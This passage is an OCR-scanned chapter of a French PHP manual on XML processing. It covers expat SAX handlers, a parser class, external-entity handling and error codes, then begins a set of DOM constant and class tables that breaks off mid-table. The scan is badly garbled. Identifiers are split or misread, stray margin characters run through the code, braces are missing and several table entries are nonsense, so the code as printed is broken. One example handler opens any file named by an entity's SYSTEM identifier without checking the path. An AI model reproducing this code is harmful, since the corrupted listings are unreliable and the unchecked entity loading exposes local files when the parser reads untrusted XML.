} 

return TRUE; 

} 

// Creation du parseur XML 
SparseurXML = xml_parser_create() ; 

// Force le parseur a respecter la casse 

xml_parser_set_opti on (SparseurXML, XML_OPTION_CASE_FOLDING, FALSE) ; 

// Declaration des fonctions de traitement 
// des balises ouvrantes et fermantes 
xml_set_el ement_handl er (SparseurXML, 

"fonctionBal i seOuvrante" , 

"fonctionBal i seFermante") ; 

// Declaration de la fonction de traitement 
// du texte entre les balises 

xml_set_character_data_handl er($parseurXML, "fonctionTexte") ; 

// Ouverture du fichier 

( $fp = fopen($fichier, "r") ) or 

die("Impossible d'ouvrir le fichier XML"); 

// Lecture du fichier ligne par ligne 
while ( $ligneXML = fgets($fp, 1024) ) { 

xml_parse($parseurXML, $ligneXML, feof($fp) ) or 
die("Erreur XML") ; 

} 

// Liberation des ressources 
xml_parser_free($parseurXML) ; 
fclose($fp) ; 

?> 

Comme vous pouvez le constater, le resultat obtenu est : 

Noir Desir : des Visages des Figures 
- L' enfant roi 6:03 
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- Le grand incendie 4:37 

- Le vent nous portera 4:48 
Placebo : Without You I'm Nothing 

- Pure Morning 4:15 

- Without You I'm Nothing 4:30 

- Every You, Every Me 5:00 

Mais, surtout, a la lecture du code, vous constatez que la principale difficulte (notamment pour 
ceux qui n'ont jamais utilise ce genre de parseur) vient du fait qu'au niveau de la fonction 
chargee du traitement du texte, nous n'avons, a priori, aucune information sur la balise a 
laquelle le texte se rapporte. II convient done de memoriser, par nos propres moyens, 
"l'historique" des balises rencontrees. 

Avant de passer a la suite, afin de preparer le terrain pour une utilisation plus complexe, nous 
vous proposons de legerement remanier ce script pour en faire un objet. 

Mais voila ! pour utiliser le parseur XML dans un objet, il faut faire appel a la fonction 

xml_set_object ( ) . 



xml_set_object() 

Permet l'utilisation du parseur XML dans un objet. 

Syntaxe void xml_set_object(resource $parseur, object &$objet) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$ob j et Reference sur l'objet. 

Attention !... suspense... et voila ! 

Listing 15.7 : expat_03b.php 

<?php 

class XML_Parseur 

{ 

var $parseurXML; 

function XML_Parseur() 

{ 
} 

function init() 

{ 

$thi s->parseurXML = xml_parser_create() ; 

// Definit l'objet courant comme etant l'objet 

// qui "heberge" les fonctions de gestion des evenements 

xml_set_object ($thi s->parseurXML, &$thi s) ; 
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xml_parser_set_option($this->parseurXML, XML_OPTION_CASE_FOLDING, 
FALSE); 

xml_set_element_handler($thi s->parseurXML, "fonctionBal i seOuvrante" , 

"fonctionBal i seFermante") ; 
xml_set_character_data_handl er($thi s->parseurXML, "fonctionTexte") ; 

} 



function parse ($fichier) 

{ 

( $fp = fopen($fichier, "r") ) or 

die("Impossible d'ouvrir le fichier XML"); 

while ( $ligneXML = fgets($fp, 1024) ) { 

xml_parse($thi s->parseurXML, $ligneXML, feof($fp) ) or 
die("Erreur XML") ; 

} 

fcl ose($fp) ; 



function free() 

{ 

xml_parser_free($thi s->parseurXML) ; 

} 

// 

// Methodes privees 

// 

function fonctionBaliseOuvrante($parseur, $nomBalise, $tabl eauAttri buts) 

{ 

global $balises; 
$balises[] = $nomBal i se; 

03 

g switch ($nomBalise) { 

'■g _, case "cdaudio" : 

j| S echo "<b>"; 

S X echo $tableauAttributs["interprete"] ; 

echo " : "; 

» echo $tabl eauAttri buts ["ti tre"] ; 

echo "</bxbr />"; 
break; 

} 

return TRUE; 

} 

function fonctionBaliseFermante($parseur, $nomBalise) 

{ 

global $balises; 
array_pop($bal i ses) ; 
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return TRUE; 

} 

function fonctionTexte($parseur, $texte) 
{ 

global $balises; 

$derniereBal ise = $bal i ses [count ($bal i ses) -1] ; 
switch ($derniereBalise) { 
case "titre" : 

echo "- $texte"; 
break; 
case "duree": 

echo " $texte<br />"; 
break; 

} 

return TRUE; 

} 

} 

$fichierXML = " . ./src_xml /mediatheque_01 .xml " ; 

$parseur = new XML_Parseur() ; 
$parseur->init() ; 
$parseur->parse($fichierXML) ; 
$parseur->free() ; 

?> 



Nous voila prets pour aborder la suite. 

Gestion des entites externes avec 
xml_set_external_entity_ref_handler 

La fonction xml_set_external_entity_ref_handler ( ) vous permet de preciser quelle 
fonction doit traiter les references aux entites externes. Les entites externes apparaissent dans 
les documents XML sous la forme &nomEntite; et sont declarees sous la forme <! entity r- 03. 

nomEntite SYSTEM " f ichier . xml ">. 2 



X = 



xml_set_external_entity_ref_handler() 

Declare aupres du parseur la fonction a appeler lorsque des references a des entites externes 

SOnt rencontrees (knomEntite; avec <!ENTITY nomEntite SYSTEM "f ichier. xml ">). 

Syntaxe boolean xml_set_external_entity_ref_handler(resource 

$parseur, string $fonctionRefEntiteExterne) 
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$parseur 

$fonctionRef 
Enti teExterne 

retour 



Reference du parseur telle que retournee par la fonction 

xml parser create ( ) . 

Nom de la fonction en charge du traitement des references a des entites 
externes. 

TRUE si l'operation s'est deroulee correctement, NULL sinon. 



Fonction reference a des entites externes 

La fonction (dont le nom sera precise par $f onctionRef EntiteExterne) devant traiter les 
instructions de traitement aura 1'interface suivante : 

Syntaxe boolean maFonction(resource $parseur, string $nomEnti te, 

string $base, string $idSysteme, $idPublic) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$nomEntite Nom de l'entite. 

$base Nonrenseigne. 

$idSysteme L'identifiant systeme de l'entite (en d'autres termes, valeur du champ 

"SYSTEM" ou celui suivant la valeur du champ "PUBLIC", c'est-a-dire le 
document externe pointe). 

$i dPubl i c L'identifiant public de l'entite (concretement, la valeur du champ 

"PUBLIC", c'est-a-dire le document externe pointe servant de reference). 

retour TRUE si l'operation a ete realisee avec succes, FALSE sinon. 

L'ensemble des parametres etant fourni par le parseur, la fonction aura acces a toutes les 
informations necessaires au bon traitement des donnees. Cependant, il est a noter que la 
presence de cette fonction sous-entend que la lecture et l'inclusion du document externe sont 
a votre charge. 



■S Listing 15.8 : expat_04.php 

c 

■S <?php 

CO I 

w g class XML_Parseur 

!h X { 
— \ 

|_i var $parseurXML; 

ui var $fichierXML; // Fichier sur lequel s'est applique 

// le dernier traitement 

function XML_Parseur() 

{ 
} 

function init() 

{ 

$thi s->parseurXML = xml_parser_create() ; 

// Definit l'objet courant comme etant 1 'objet 
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// qui "heberge" les fonctions de gestion des evenements 
xml_set_object ($thi s->parseurXML, &$thi s) ; 

xml_parser_set_option($this->parseurXML, XML_OPTION_CASE_FOLDING, 
FALSE) ; 

xml_set_el ement_handl er($thi s->parseurXML, "fonctionBal i seOuvrante" , 

"fonctionBaliseFermante") ; 
xml_set_character_data_handl er ($thi s->parseurXML, "foncti onTexte" ) ; 

// Declaration de la foncti on de traitement 
// des references aux entites externes 
xml_set_external_enti ty_ref_handl er($thi s->parseurXML, 

"fonctionRefEntiteExterne") ; 

} 



function parse($fichier) 

{ 

// Pour le traitement des references aux entites externes 
// nous avons besoin de memoriser a quel fichier est applique 
// le traitement 
$this->fichierXML = $fichier; 

( $fp = fopen($fichier, "r") ) or 

die("Impossible d'ouvrir le fichier XML"); 

while ( $ligneXML = fgets($fp, 1024) ) { 

xml_parse($thi s->parseurXML, $ligneXML, feof($fp) ) or 
die("Erreur XML" . 

xml_error_string(xml_get_error_code($thi s->parseurXML) ) ) ; 

} 

fclose($fp); 



function free() i— 

< x | 

xml parser free($thi s->parseurXML) ; S v> 

} _ _ I - Ed 

5' 

// I 

II Methodes privees 

// 

function fonctionBaliseOuvrante($parseur, $nomBalise, $tableauAttributs) 

{ 

global $balises; 
$balises[] = $nomBalise; 

switch ($nomBalise) { 
case "cdaudio" : 
echo "<b>": 
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CO 
CO 



S x 



echo $tabl eauAttri buts ["i nterprete"] ; 
echo " : "; 

echo $tabl eauAttri buts ["ti tre"] ; 

echo "</bxbr />"; 

break; 

} 

return TRUE; 



function fonctionBaliseFermante($parseur, $nomBalise) 



global $balises; 
array_pop($bal i ses) ; 

return TRUE; 



function fonctionTexte($parseur, $texte) 

{ 

global $balises; 

$derni ereBal i se = $bal i ses [count ($bal i ses) -1] ; 
switch ($derniereBal ise) { 
case "titre" : 

echo "- $texte"; 
break; 
case "duree": 

echo " $texte<br />"; 
break; 

} 

return TRUE; 



// Exemple de fonction gerant 
// les references aux entites externes 
function fonctionRefEnti teExterne($parseur, 

$nomEnti te, 
$base, 
$idSysteme, 
$idPublic) 



{ 



// II est ici, fait reference a 

// $idSysteme (et eventuel 1 ement $idPublic) 

// nous ne nous interesserons ici 

// qu'a $idSysteme. 

// Attention: Petite subtilite 

// le chemin du fichier externe est relatif 

// au fichier XML et non au script PHP 

// (REM: Ici, on suppose que le chemin est relatif 
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// et non absolu) 



$fichierExterne = dirname($this->fichierXML) . "/" .$idSysteme; 

// Nous instancions un nouveau parseur 

// (eel a pourrait par exemple permettre de gerer 

// des fichiers externes possedant un encodage different) 



$tmpParseur = new XML_Parseur() ; 
$tmpParseur->parse($f ichierExterne) ; 
$tmpParseur->free() ; 

// Ne pas oublier de retourner TRUE en cas 
// de succes des operations, 
return TRUE; 




$fichierXML = " . ./src_xml/mediatheque_01b.xnil " ; 



$parseur = new XML_Parseur() ; 
$parseur->init() ; 
$parseur->parse($fichierXML) ; 
$parseur->free() ; 

?> 



Applique au fichier mediatheque_01b.xml cela donne le sobre resultat suivant (a vous de 
l'enrichir) : 



Noir Desir : des Visages des Figures 

- L 'enfant roi 6:03 

- Le grand incendie 4:37 

- Le vent nous portera4:48 

Placebo : Without You I'm Nothing 

- Pure Moming4:15 

- Without You I'm Nothing4:30 

- Every You, Every Me 5:00 
Radiohead : OK Computer 

- KarmaPolice4:23 
Muse : Showbiz 

- Feeling Good Non communique 



Figure 15.2 : 

Resultat de transformation expat 



x = 

3 55" 
r- as 



REMARQUE 



Reference d une entite interne 

Les references internes sont, quant a elles, automatiquement remplacees par leurs 
valeurs (comme le prouve I'exemple precedent). 



Gestion des instructions de traitement <? ... ?> avec 
xml_set_processing_instruction_handler 

La fonction xml_set_processing_instruction_handier ( ) vous permet de preciser quelle 
fonction doit traiter les instructions de traitement precisees entre <? et ?>. A noter que cela ne 
concerne pas les instructions de traitement XML (<?xml ?>). 
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xml_set_processing_instruction_handler() 



Declare aupres du parseur la fonction a appeler lorsque des instructions de traitement (entre 
<? et ?>) sont rencontrees. 

Syntaxe boolean xml_set_processi ng_i nstructi on_handl er (resource 

$parseur, string $fonctionInstructionTraitement) 

$parseur Reference du parseur telle que retournee par la fonction 

xml parser create ( ) . 

$fonctionInstruction 

Trai tement Nom de la fonction en charge du traitement des instructions de traitement. 

retour TRUE si l'operation s'est deroulee correctement, NULL sinon. 

Fonction instruction de traitement 

La fonction (dont le nom sera precise par $f onctioninstructionTraitement) devant traiter 
les instructions de traitement aura l'interface suivante : 

Syntaxe [boolean] maFonction(resource Sparseur, string $ c i b 1 e , string 

$code) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$cible Indique a qui est destinee l'instruction (il s'agit de l'identifiant que Ton 

trouve juste apres "<?". Ce peut etre par exemple "php"). 

$code Le code ou tout au moins les instructions. 

retour TRUE en cas de succes, FALSE sinon. (Ceci n'est pas requis ni pris en 

compte a ce jour par le parseur, mais c'est conseille puisque cet etat de fait 
peut evoluer). 

L'ensemble des parametres etant fourni par le parseur, la fonction aura acces a toutes les 

■° informations necessaires au bon traitement des donnees. 

c 

o 

.si s Gestion des declarations de notation <!NOTATION ... > avec 

~ X 

= xml set notation decl handler 



xml_set_notation_decl_handler () 

Declare aupres du parseur la fonction a appeler lorsque des declarations de notation 
(<! notation . . . >) sont rencontrees. 

Syntaxe boolean xml_set_notation_decl_handl er(resource $parseur, 

stri ng $fonctionDecl arati onNotation) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 
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$fonction 

Decl arati onNotati on Nom de la fonction en charge du traitement des declarations de notation, 
retour TRUE si l'operation s'est deroulee correctement, NULL sinon. 

Fonction declaration de notation 

La fonction (dont le nom sera precise par $f onctionDeclarationNotation) devant traiter 
les instructions de traitement aura l'interface suivante : 



Syntaxe 

$parseur 

$nomNotation 
$base 

$idSysteme 
$idPubl ic 
retour 



[boolean] maFoncti on (resource $parseur, string $nomNotation, 
string $base, string $i dSysteme, string $idPublic) 

Reference du parseur telle que retournee par la fonction 
xml_parser_create ( ) . 

Nom de la notation. 

Non renseigne. 

L'identifiant systeme de 1'entite (en d'autres termes la valeur du champ 
"SYSTEM" ou celui suivant la valeur du champ "PUBLIC". C'est-a-dire la 
declaration de type ou l'application de traitement pointee). 

L'identifiant public de 1'entite (concretement, la valeur du champ 
"PUBLIC". C'est-a-dire la declaration de type ou l'application de 
traitement pointee servant de reference). 

TRUE en cas de succes, FALSE sinon. (Ceci n'est pas requis ni pris en 
compte a ce jour par le parseur, mais c'est conseille puisque cet etat de fait 
peut evoluer). 



Gestion des declarations d'entites non analysables <!ENTITY 
...NDATA... > avec xml_set_unparsed_entity_decl_handler 



xml_set_unparsed_entity_decl_handler() 

Declare aupres du parseur la fonction a appeler lorsque des declarations d'entites non 
analysables (<! entity . . . ndata . . .>) sont rencontrees. 

Syntaxe boolean xml_set_unparsed_entity_decl_handler(resource 

$parseur, string SfonctionDeclarationEntiteNonAnalysable) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$fonctionDeclaration 

Enti teNonAnal ysabl e Nom de la fonction en charge du traitement des declarations d'entites non 
analysables. 

retour TRUE si l'operation s'est deroulee correctement, NULL sinon. 



Chapitre 1 5 L'utilisation de XML 



Fonction declaration d'entitenon analysable 

La fonction (dont le nom sera precise par $f onctionDeclarationEntiteNonAnalysable) 

devant traiter les instructions de traitement aura l'interface suivante : 



Syntaxe 



[boolean] maFoncti on (resource $parseur, string $nomEntite, 
string $base, string $i dSysteme, string $idPublic, string 
$nomNotation) 



que retournee par la fonction 



$parseur Reference du parseur telle 

xml_parser_create ( ) . 

$nomEntite Nom de 1'entite. 

$ b a s e Non renseigne . 

$i dSysteme L'identifiant systeme de 1'entite (en d'autres termes la valeur du champ 

"SYSTEM" ou celui suivant la valeur du champ "PUBLIC". C'est-a-dire la 
declaration de type ou 1'application de traitement pointee). 

$i dPubl i c L'identifiant public de 1'entite (concretement, la valeur du champ 

"PUBLIC". C'est-a-dire la declaration de type ou 1'application de 
traitement pointee servant de reference). 

$nomNotation Nom de la notation. 

retour TRUE en cas de succes, FALSE sinon. (Ceci n'est pas requis ni pris en 

compte a ce jour par le parseur, mais c'est conseille puisque cet etat de fait 
peut evoluer). 



Gestion par defaut avec xml_set_default_handler 

La fonction xml_set_def ault_handier ( ) vous permet de preciser quelle fonction doit etre 
appelee par defaut (cela concerne aussi bien les evenements pour lesquels il n'existe pas de 
fonction xmi_. . ._handier associee que les evenements ayant leur propre fonction xmi_ 
. . ._handier, mais pour lesquels vous n'avez pas defini de fonction de traitement). 



xml_set_default_handler () 

Declare aupres du parseur la fonction a appeler pour le traitement par defaut. 

Syntaxe boolean xml_set_defaul t_handl er (resource $parseur, string 

$foncti onParDef aut) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$foncti onParDef aut Nom de la fonction en charge du traitement par defaut. 

Fonction par defaut 

La fonction (dont le nom sera precise par $ f onctionParDef aut) devant traiter les instructions 
de traitement aura l'interface suivante : 
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Syntaxe void maFoncti on (resource $parseur, string $chaine) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

$chaine Chaine de caracteres contenant la chaine non reconnue comme 

evenement predefini. 

L'ensemble des parametres etant fourni par le parseur, la fonction aura acces a toutes les 
informations necessaires au bon traitement des informations. 



Gestion des erreurs 

Jusque-la, afin de garder une certaine continuite dans le raisonnement, nous avons passe sous 
silence les fonctions de gestion des erreurs. Pourtant, elles sont souvent indispensables pour 
determiner les causes des problemes d'analyse des documents. 

A tout moment, il est possible de recuperer le dernier code d'erreur rencontre par un parseur 
lors de l'analyse. Pour cela, il y a la fonction xml_get_error_code ( ) . 



xml_get_error_code () 



Retourne le dernier code d'erreur rencontre par le parseur. 
Syntaxe int xml_get_error_code(resource $parseur) 

$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

retour Code d'erreur pouvant prendre les valeurs : 

XML_ERROR_NONE : pas d'erreur. 
XML_ERROR_NO_MEMORY : plus de memoire disponible. 

XML_ERROR_SYNTAX : erreur de syntaxe. _,, 
XML_ERROR_NO_ELEMENTS : aucune balise n'a ete rencontree. f 
XML_ERROR_lNVALlD_TOKEN : document non "bien forme". 

XML_ERROR_UNCLOSED_TOKEN. X ~ 

XML_ERROR_PARTIAL_CHAR. p g' 

XML_ERROR_TAG_Ml SMATCH : presence de balises non fermees ou se 5- 
chevauchant (ex. : <axbx/ax/b>). ^ 
XML_ERROR_DUPL ICATE_ATTRI BUTE : presence multiple du meme « 
attribut dans une meme balise. 

XML_ERROR_JUNK_AFTER_DOC_ELEMENT : presence de balises apres 
la balise racine fermante. 

XML_ERROR_PARAM_ENT I TY_REF . 

XML_ERR0R_UNDEFINED_ENTITY : entite non definie. 
XML_ERROR_RECURS I VE_ENT I T Y_REF : reference d'entite recursive. 

XML_ERROR_AS YNC_ENT I TY. 
XML_ERROR_BAD_CHAR_REF. 

XML_E RROR_B I NARY_ENT I T Y_RE F : reference a une entite binaire 
(entite non analysable non texte). 



1213 



Chapitre 1 5 L'utilisation de XML 



XML_ERROR_ATTRIBUTE_EXTERNAL_ENTITY_REF. 
XML_ERROR_MI S PLACED_XML_P I . 

XML_ERROR_UNKNOWN_ENCODlNG : encodage inconnu. 
XML_ERROR_lNCORRECT_ENCODlNG : encodage ne correspondant pas 
aii document. 

XML_ERROR_UNCLOSED_CDATA_SECTION. 

XML_ERROR_EXTERNAL_ENT I T Y_HANDL ING : la fonction de gestion 
des entites externes n'a pas retourne TRUE (laissant supposer qu'une 
erreur est intervenue), ou NULL si le parseur n'existe pas. 

II est egalement possible d'avoir 1'information sous forme de texte (en anglais) via 

xml_error_string ( ) . 



xml_error_string () 

Retourne le message d'erreur (en anglais) correspondant au code d'erreur fourni. 

Syntaxe string xml_error_string(int $codeErreur) 

$codeErreur Code d'erreur tel que retourne par xml_error_code ( ) . 

retour Le message d'erreur, ou NULL si le code d'erreur n'existe pas. 

Pour aider a 1'analyse du probleme, il est souvent egalement necessaire de connaitre la position 
estimee de l'erreur. Heureusement, il est a tout moment (done pas uniquement en cas d'erreur) 
possible de connaitre la position du parseur. Pour cela, vous disposez de 

xml_get_current_line_number ( ) et xml_get_current_column_number ( ) . 



xml_get_current_line_number () 

de la ligne en cours d'analyse par le parseur. 

int xml_get_current_l i ne_number (resource $parseur) 

Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

Numero de ligne, ou NULL si le parseur n'existe pas. 

xml_get_current_column_number () 

Retourne le numero de la colonne en cours d'analyse par le parseur. 

Syntaxe int xml_get_current_col umn_number(resource $parseur) 



Retourne le numero 



CO _l 

Syntaxe 



$parseur 
retour 
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$parseur Reference du parseur telle que retournee par la fonction 

xml_parser_create ( ) . 

retour Numero de colonne, ou NULL si le parseur n'existe pas. 

Et, pour ceux que cela interesse, il est egalement possible d'avoir la position en octets depuis le 

debut du document avec 5anl_get_current_byte_index ( ) . 



parseur DOM 

Si libXML est installe, alors le parseur DOM est probablement active. Vous pouvez le verifier 
en jetant un oeil aux informations affichees par phpinf o ( ) . 



clom 


DOMXML 


enatiled 


DOM XML API Version 


20031129 


IBbwnl Version 


2.5.11 


HTML Support 


enabled 


XPirth Support 


enabled 


XPointer Support 


enabled 


Schema Support 


enabled 


RelaxNG Support 


enabled 



Figure 15.3 : 

phpinfoQ DOM 



Parfois, il est preferable d'acceder aux parties d'un fichier XML dans un ordre different de celui 
impose par SAX. L'avantage de 1'analyse par DOM est que Ton peut acceder a tout element de 
l'arbre tres facilement et meme faire des retours en arriere. L'inconvenient (et c'est 
probablement pourquoi SAX et DOM coexistent) c'est que l'arbre entier est mis en memoire, 
ainsi pour un gros fichier XML, DOM n'est pas adapte. 

La bibliotheque DOM etant imposante, nous nous limiterons exceptionnellement aux 
fonctionnalites les plus utilisees. 

Constantes 

Voici l'ensemble des constantes definies: 



Tableau 15.1: Constantes XML 



Norn de variable 


Definition 


XML_ELEMENT_NODE 


Nceud de type Element. 


XML_ATTRIBUTE_NODE 


Noeud de type Attribut. 


XML_TEXT_NODE 


Noeud de type Text. 


XML_CDATA_SECTION_NODE 


Noeud de type section CData (non traitee) 


XML_ENT ITY_REF_NODE 


XML_ENTITY_NODE 


Nceud de type Entite (comme é ...) 


XML_PI_NODE 


XML_COMMENT_NODE 


Nceud de type Commentaire 
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Norn de variable Definition 

xml_document_node Noeud de type Document 

XML_DOCUMENT_TYPE_NODE 
XML_DOCUMENT_FRAG_NODE 
XML_NOTAT I ON_NODE 

xml_html_document_node Nceud d'un document HTML 

xml_dtd_node Noeud d'une DTD 

XML_ELEMENT_DECL_NODE 

XML_ATTRIBUTE_DECL_NODE 

XML_ENTITY_DECL_NODE 

XML_NAMESPACE_DECL_NODE 

XML_ATTRIBUTE_CDATA 

XML_ATTRIBUTE_ID 

XML_ATTRIBUTE_IDREF 

XML_ATTRIBUTE_IDREFS 

XML_ATTR I BUTE_ENT I TY 

XML_ATTRIBUTE_NMTOKEN 

XML_ATTRIBUTE_NMTOKENS 

XML_ATTRIBUTE_ENUMERAT I ON 

XML_ATTR I BUTE_NOTAT I ON 



Tableau 15.2: Constantes DOM 



Nom de variable 


Definition 


DOM_INDEX_SIZE_ERR 


L'index ou la taille est negative ou plus grande 
que la valeur acceptee. 


DOMSTRING_S I ZE_ERR 


DOM_HI ERARCHY_REQUEST_ERR 


Un nceud est insere un endroit ou il ne devrait 
pas. 


DOM_WRONG_DOCUMENT_ERR 


Un nceud est utilise dans un autre document que 
celui ou il a ete cree. 


DOM_INVALID_CHARACTER_ERR 


Un caractere invalide a ete insere. 


DOM_NO_DATA_ALLOWED_ERR 


Des donnees sont specifies pour un nceud qui 
n'en accepte pas. 


DOM_NO_MOD I F I CAT I ON_AL L WED_ERR 


II y a eu tentative de modification a un endroit 
interdit. 
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Norn de variable 


Definition 


DOM_NOT_FOUND_ERR 


II y a eu tentative de referencer un nceud dans un 
contexte ou il n'existe pas. 


DOM_NOT_SUPPORTED_ERR 


Le type d'objet demande n'est pas supporte. 


DOM_INUSE_ATTRIBUTE_ERR 


II y a eu tentative d'ajouter un attribut qui est deja 
utilise a un autre endroit. 


DOM_INVAL I D_STATE_ERR 


DOM_SYNTAX_ERR 


JJU1 V 1 llWALilJJ MUJJlr ItAl 1UIM liKK 


DOM_NAMESPACE_ERR 


DOM_INVAL ID_ACCES S_ERR 


DOM_VAL I DAT I ON_ERR 


Les differentes classes principales 


Voici quelques unes des classes les plus utilisees avec leurs attributs et leurs fonctions 
brievement presentees. Les fonctions les plus importantes sont par ailleurs decrites en details a 
la suite de ces tableaux succincts. 


Tableau 15.3 : Classe DOMDocument 




Attribut 


Type Definition 


doctype 


String 


implementation 


DOMImplemenation 


document Element 


DOMEIement Element racine de I'arbre. 


actual Encoding 


String Encodage utilise. 


encoding 


String 


standalone 


Boolean 


version 


String Version XML utilisee. 


strictErrorChecking 


Boolean 


documentURI 


String 


conf ig 


String 


forma tOutput 


String 


validateOnParse 


Boolean 


resolveExternals 


Boolean 


preserveWhiteSpace 


Boolean 


subs ti tut eEnti ties 


Boolean 
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Attribut 


Type 


Definition 


createAttribute ( String $nom) 


DOMAttr 


Cree un nouvel attribut. 


createAttributeNS (String 
$espaceNom, String $nom) 


DOMAttr 


Cree un nouvel attribut 
avec espace de nom. 


createCDATASection ( String 
$donnees ) 


DOMCDATASection 


Cree une nouvelle section 
CDATA. 


createComment (String 
$commentaire ) 


DOMComment 


Cree un nouveau 
commentaire. 


createDocumentFragment ( ) 




Cree un nouveau 
fragment. 


createElement ( String $nom 
[, String $valeur] ) 


DOMEIement 


Cree un nouvel element. 


createElementNS (String 
$espaceNom, String $nom) 


DOMEIement 


Cree un nouvel element 
avec espace de noms. 


createEntityRef erence ( String 
$nom) 


DOMEntityReference 


Cree une nouvelle entite. 


createProcessinglnst ruction 
(String $cible [, String 
$donnees] ) 


DOMProcessinglnstruction 


Cree un nceud de type PI. 


createTextNode ( String 
$texte) 


DOMText 


Cree un nceud de type 
texte. 


getElementByld (String 
$idElement ) 


DOMEIement 


Fait une recherche sur 
I'identifiant de I'element. 
Selon le standard DOM 
cette fonction requiere 
qu'un attribut ID de type ID 
soit defini dans la DTD. 


getElementByTagName (String 
$nom) 


DOMNodeList 


Retourne les nceuds ayant 
$nom comme nom. 


getElementByTagNameNS (String 
$espaceNom, String $nom) 


DOMNodeList 


Idem mais avec espace de 
noms. 


importNode (DOMNode 

^"n dpi ] r] Tminrtr t~ p I hnnl p^n 

$copieProf onde] ) 


DOMNode 


Importe un nceud dans le 
document courrant 


load (String $nomFichier ) 


DOMDocument 


Charge et cree I'arbre 
DOM a partir du nom de 
fichier d'un document 
XML. 


loadHTML (String $HTML) 


DOMDocument 


Charge et cree I'arbre 



DOM a partir de la chame 
de caracteres $HTML. 
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Attribut 


Type 


Definition 


loadHTMLFile (String 
$NomFichierHTML ) 


DOMDocument 


Charge et cree I'arbre 
DOM a parti r du nom de 
fichier d'un document 
HTML. 


loadXML (String $XML) 


DOMDocument 


Charge et cree I'arbre 
DOM a partir de la chame 
de caracteres $XML. 


normalize ( ) 


void 


Normalise le document. 


relaxNGValidate (String 
$nomF i chi er ) 


boolean 


Verifie la validite d'un 
document selon le fichier 
relaxNG passe en 
parametre. 


relaxNGValidateSource (String 
$relaxNG) 


boolean 


Verifie la validite d'un 
document selon relaxNG 
passe en parametre. 


save (String $nomFichier ) 


integer 


Cree et stocke dans un 
fichier le code XML 
correspondant au 
document DOM. 


saveHTML ( ) 


String 


Cree le HTML 
correspondant au 
document DOM. 


saveHTMLFile (String 
$noniF i chi sir ) 


String 


Cree et stocke dans un 
fichier le code HTML 
correspondant au 
document DOM. 


saveXML ( [DOMNode $noeud] ) 


String 


Cree le XML 
correspondant au 
document DOM. 


schemaValidate (String 
$nomFichierSchema) 


boolean 


Verifie la validite d'un 
document selon le fichier 
Schema passe en 
parametre. 


$ schema) 


boolean 


Verifie la validite d'un 
document selon un 
Schema passe en 
parametre. 


validate ( ) 


boolean 


Verifie si un le document 
est valide selon sa DTD. 


xinclude ( ) 


int 


Remplace les xinclude 



dans un document DOM. 
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Tableau 15.4: Classe DOMNode 



Attribut 


Type 


Definition 


nodeName 


String 


Nom du noeud. 


nodeValue 


String 


Valeur du noeud (contenu). 


nodeType 


Integer 


Code type du Noeud. 


parentNode 


DOMEIement 


Noeud parent. 


childNodes 


DOMNodeList 


Noeuds enfants. 


J LI o U* I1J L'JL 


DOMNnrip 


Prpn-iipr pnfant 

1 1 G 1 1 1 1 G 1 GlllullL. 


lab L^!l-L-Ll-l 


DflMNnrlp 


nprnjpr pnfant 

L/GI 1 1 IGI GlllullL. 


previousSibling 


DOMNode 


Nceud precedant de meme 

hiprarrhip 

1 IIGI ul Ul IIC. 


nextSibling 


DOMNode 


Enfant suivant de meme 

hiprarrhip 

1 IIGI ul U 1 MG. 


attributes 


DOMNamedNodeMap 


Attributs du noeud. 


ownerDocument 


DOMDocument 


Document auquel appartient 
le noeud. 


namespaceURI 


String 


Espace de noms (nom 
complet). 


prefix 


String 


Espace de noms (nom 
reduit prefix du noeud) si 

i itilkp 

U Lll loG ■ 


localName 


String 


Nom du noeud sans le prefix 
d'espace de nom si le prefix 

pet i itiliQp 

Co L U LI 1 1 oC . 


baseURI 


String 




textContent 


String 


Contenu du noeud. 


appendChild (DOMNode 
$noeud) 


DOMNode 


Ajoute un fils a la suite des 
autres fils du meme 
element. 


cloneNode ( [boolean 
$enProf ondeur ] ) 


DOMNode 


Fait une copie du noeud 
courant. 


hasAttributes ( ) 


boolean 


Verifie si le noeud a des 
attributs. 


hasChildNodes ( ) 


DOMNode 


Verifie si le noeud a des 
enfants. 


insertBef ore (DOMNode 
$noeudAInserer [ , DOMNode 
$noeudRef erence] ) 


DOMNode 


Insert le noeud 
$noeudAlnserer juste avant 
$noeudReference. 


isSameNode ( $ DOMNode 
$noeudAComparer ) 


boolean 


Renvoi TRUE si les deux 
nceuds sont les memes. 
(pas au niveau du contenu) 
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Attribut 


Type 


Definition 


isSupported (string 
$option, String $version) 


boolean 


Renvoi TRUE si I'option est 
disponible dans la version 
precisee. 


lookupNamespaceURI (String 
$pref ix) 


String 


Retourne I'uri du prefix 
passe en parametre. 


lookupPref ix (String 
$espaceNoms ) 


String 


Retourne le prefix de I'uri 
passe en parametre. 


normalize ( ) 


void 


Normalise le noeud. 


removeChild (DOMNode 
$fils) 


DOMNode 


Retire le fils passe en 
parametre du noeud courant. 


replaceChi Id (DOMNode 
$ancienNoeud, DOMNode 
$nouveauNoeud) 


DOMNode 


Remplace I'ancien noeud par 
le nouveau nceud. 


Tableau 15.5 : Classe DOMEIement heritante de DOMNode 


Attribut 


Type 


Definition 


tagName 


String 


Nom oe la uanse 


s chemaType Inf o 


String 




getAttribute (String $nom) 


String 


Retourne la valeur d'un 
attribut. 


getAttributeNode (String 
$nom) 


DOMAttr 


Retourne le noeud d'un 
attribut. 


getAttributeNodeNS (String 
$espaceNoms, String $nom) 


DOMAttr 


Retourne le noeud d'un 
attribut dans un espace de 
noms. 


getAttributeNS (String 
$espaceNoms, String $nom) 


String 


Retourne la valeur d'un 
attribut en specifiant 
I'espace de noms. 


getElementByTagName ( String 
$nom) 


DOMNodeUst 


Retourne les elements de 
nom $nom. 


getElementByTagNameNS (String DOMNodeUst 
$espaceNom, String $nom) 


Idem mais avec espace de 
noms. 


hasAttribute ( String $nom) 


boolean 


Retourne TRUE si I'attribut 
de nom $nom existe. 


hasAttributeNS (String 
